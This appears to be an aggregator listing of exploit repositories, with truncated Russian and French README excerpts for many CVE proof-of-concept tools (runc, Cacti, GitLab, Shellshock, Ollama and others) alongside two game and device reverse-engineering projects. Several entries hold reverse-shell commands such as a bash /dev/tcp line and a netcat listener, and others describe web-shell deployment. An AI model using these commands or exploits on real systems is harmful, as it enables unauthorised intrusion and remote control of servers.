CVE-2022-46196

CVE-2022-46196 Описание Этот Python-код эксплуатирует неаутентифицированную уязвимость внедрения команд в Cacti версий до и включая 1.2.22. Он использует argparse для разбора аргументов командной строки, requests для получения HTML-содержимого целевого экземпляра Cacti и BeautifulSoup для...

cve-2019-5736-poc

En-têtes à ajouter stage2.c bash include bash include Modifier avec l'IP de la machine attaquante stage2.c bash const char poc = "!/bin/bash\n/bin/bash -i & /dev/tcp//4455 0&1 &\n"; Création d'image Docker et de conteneur $ docker build -t cve . $ docker run -t -d --name cvetest cve $ sudo cp...

ShiningAppMask-ReverseEngineering

ShiningAppMask-Rétro-ingénierie Introduction Après avoir récemment acheté un Shining App Mask, j'étais curieux au sujet de l'application Shining Mask et du masque, et de leur fonctionnement. J'ai décidé de faire de la rétro-ingénierie pour comprendre comment cela fonctionnait. Le voyage a commenc...

CVE-2009-1330

CVE-2009-1330 Эксплойт для переполнения буфера в Easy RM to MP3 Converter 2.7.3.700 CVE-2009-1330 Основано на: pwntools msfvenom / reversetcp payload ropper x64dbg Easy RM to MP3 Converter 2.7.3.700 Уязвимое приложение доступно по адресу https://www.exploit-db.com/exploits/10374...

CVE-2025-32433-Remote-Shell

CVE-2025-32433 Удалённая оболочка Эксплойт на Go для CVE-2025-32433, который возвращает удалённую bash-оболочку. Во многом основано на понимании эксплойта, полученном из PoC от ProDefense для CVE-2025-32433. Запуск эксплойта make exploit.exe также доступен для Windows-машин благодаря Makefile с...

CVE-2024-25832-PoC

CVE-2024-25830 et CVE-2024-25832 - Contrôle d'accès inapproprié et téléchargement de fichier sans restriction sur DataCube3. Aperçu Ce dépôt contient une preuve de concept PoC pour une chaîne d'exploitation en deux étapes ciblant les dispositifs DataCube3. Il combine CVE-2024-25830 Contrôle d'acc...

cve-2015-1538-1

VEUILLEZ NE PAS PARTAGER CECI AVEC PERSONNE. CE CODE VOUS EST FOURNI SOUS FrienNDA. LES PERSONNES VIOLANT CELA NE SERONT PLUS CONSIDÉRÉES COMME DES AMIS. Un script Python est inclus qui génère un MP4 exploitant la vulnérabilité ‘stsc’ également connue sous le nom de CVE-2015-1538 1. C'est l'une d...

SMBGhost_AutomateExploitation

SMBGhost CVE-2020-0796 Automatisation de l'exploitation et détection Ce programme Python est un wrapper de la vulnérabilité RCE SMBGhost. Tout le crédit pour l'exploit fonctionnel revient à chompie1337. Tout le crédit pour le scanner revient à ioncodes. J'ai simplement automatisé ces fonctions en...

CVE-2025-69212-Exploit

CVE-2025-69212 - Эксплойт внедрения команд P7M в OpenSTAManager Полностью автоматизированный эксплойт для CVE-2025-69212 — уязвимости внедрения команд в OpenSTAManager. Этот скрипт выполняет аутентификацию с учётными данными администратора, разворачивает вредоносный PHP-веб-шелл через специально...

CVE-2022-22965

CVE-2022-22965 Poc&Exp, prend en charge l'analyse par lots Utilisation -a string 反弹监听地址 -b 是否显示banner default true -c string 命令 default "ls" -p int 反弹监听端口 -poc 是否只进行poc扫描,默认只扫poc default true -r 是否反弹shell default false -t int 超时时间 default 20 -u string 目标单个ip或txt文件 default "http://127.0.0.1:8080" ...

CVE-2021-22204

CVE-2021-22204 Exploit pour CVE-2021-22204 ExifTool - Exécution de code arbitraire Description de l'exploit Utilisez cet exploit pour générer un payload d'image JPEG pouvant être utilisé avec une version vulnérable d'ExifTool pour exécuter du code. Une commande personnalisée peut être fournie ou ...

gitlab-RCE-11.4.7

gitlab-RCE-11.4.7 Exploit RCE pour GitLab 11.4.7 CE avec différents reverse shells. CVE-2018-19571: https://nvd.nist.gov/vuln/detail/CVE-2018-19571 CVE-2018-19585: https://nvd.nist.gov/vuln/detail/CVE-2018-19585 Modification de la version de Sam Redmond and Tam Lai Yin dans le but d'apprendre et ...

cve-2010-4221

cve-2010-4221 Этот эксплойт был написан для изучения некоторых концепций, наслаждайтесь! Использование Proftpd Telnet IAC remote generic exploit Writen by: F0rb1dd3n Usage: ./proftpd-exploit Attack Types: 0 - Socket Reuse 1 - Reverse Shell 2 - Bind Shell 3 - Your own shellcode raw format Просто...

CVE-2014-6271

CVE-2014-6271 python2.7 Начните прослушивание на вашей машине. nc -l -p 4444 Запустите python-скрипт по следующему правилу: python shellpoc.py python shellpoc.py 10.10.10.101 /cgi-bin/status 10.10.10.1/4444 Наслаждайтесь...

Confluence-RCE

Usage: python3 mian.py Détection Exécution de commandes Shell inversé Prise en charge des proxys SOCKS5 et HTTP À des fins de communication et d'apprentissage uniquement...

CVE-2022-36804-PoC

CVE-2022-36804-PoC Многопоточный эксплойт-скрипт для CVE-2022-36804, затрагивающего большинство версий BitBucket 8.3.1. Полное описание уязвимости см. здесь: https://jira.atlassian.com/browse/BSERV-13438 Вся заслуга в обнаружении принадлежит TheGrandPew Скрипт автоматически обнаруживает публичные...

Prineo_RE

About PriPara internal name Prineo is an arcade rythm game developed by SynSophia. Goal The goal of this project was to reverse the model format of the arcade series in order to port exclusive characters to the newer version of the game on Nintendo Switch. Screenshots Some interesting screenshots...

CVE-2022-36553-PoC

CVE-2022-36553 - Hytec Inter HWL-2511-SS Injection de commande à distance non authentifiée Aperçu Ce dépôt contient un script de preuve de concept PoC de reverse shell pour exploiter CVE-2022-36553, une vulnérabilité critique dans les appareils Hytec Inter HWL-2511-SS. Le script est une...

CVE-2020-9484

CVE-2020-9484 Cliquez sur l'image pour regarder la vidéo Usage Rendez-le exécutable chmod +x CVE-2020-9484 ./CVE-2020-9484 http://10.10.10.10./8080/ 10.10.1.1 4444...

CVE-2024-37032_CVE-2024-45436

CVE-2024-37032 & CVE-2024-45436 Ollama RCE CVE-2024-37032 CVE-2024-45436 Nécessite d'être exécuté sous Linux, l'environnement doit avoir gcc Installer golang, exécuter la commande suivante pour lancer un shell inverse go run main.go -target http://127.0.0.1:11434/ -exec "bash -i &...